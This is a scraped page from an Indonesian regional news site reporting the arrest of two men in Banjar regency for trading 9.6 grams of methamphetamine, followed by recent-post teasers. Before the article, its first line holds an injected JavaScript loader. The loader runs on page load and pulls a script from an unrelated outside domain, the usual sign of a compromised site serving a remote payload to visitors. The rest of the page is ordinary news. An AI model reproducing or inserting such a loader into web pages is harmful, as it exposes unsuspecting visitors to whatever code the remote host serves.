(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Dua Warga Mataraman Ditangkap Satresnarkoba Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Narkoba (Satresnarkoba) Polresta Banjarmasin mengungkap kasus peredaran dan penyalahgunaan narkoba.

Dalam kasus kali ini, dua laki-laki pengangguran diamankan beserta barang bukti dua paket narkotika jenis sabu.

Mereka adalah R (37) warga Jalan A Yani Km 56 Desa Pasiraman, Kecamatan Mataraman Kabupaten Banjar. Kemudian A (28) warga Jalan A Yani Km 57, Kelurahan Bawahan Selan, Kecamatan Mataraman, Kabupaten Banjar.

Kasatresnarkoba Polresta Banjarmasin Kompol Prawira Bala Putra Dewa mengatakan, penangkapan dilakukan  anggota Satres Narkoba Polresta Banjarmasin pada Jumat (8/3/2024) sore sekitar pukul 17.45 Wita.

Baca juga: Aturan Ramadan di Banjarmasin: THM Tutup hingga Pengaturan Pengeras Suara Masjid dan Musholla

Dua tersangka tertangkap tangan saat berada di Jalan A Yani Km 56 RT 03 RW 01 Kelurahan Bawahan Selan, Kecamatan Mataraman, Kabupaten Banjar tepatnya di belakang Mesjid Da’watul Hasanah.

“R dan B telah tertangkap tangan saling bekerja sama menjualbelikan narkotika jenis sabu,” kata Kasatnarkoba.

Dari tangan keduanya, polisi berhasil mengamankan barang bukti dua paket sabu dengan berat keseluruhan 9,6 gram.

Selain itu, polisi juga menyita 1 unit handphone berwarna abu-abu, 1 lembar kertas tisu dan yang tunai Rp2.000.000 sebagai barang bukti.

Baca juga: Ziarah Kubur Jelang Ramadan, Penjual Kembang Kebagian Rezeki

Kedua tersangka beserta barang bukti dibawa ke Polresta Banjarmasin guna proses hukum lebih lanjut.

R dan B berhadapan dengan jeratan hukum pasal 114 ayat 2 jo pasal 132 ayat 1 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika karena tanpa hak menawarkan untuk dijual, menjual, membeli, menerima, menjadi perantara dalam jual beli narkotika golongan 1 yang beratnya 5 gram jo percobaan atau pemufakatan jahat tindak pidana narkoba. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

10 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

11 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

11 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

11 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

11 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

12 jam ago

This website uses cookies.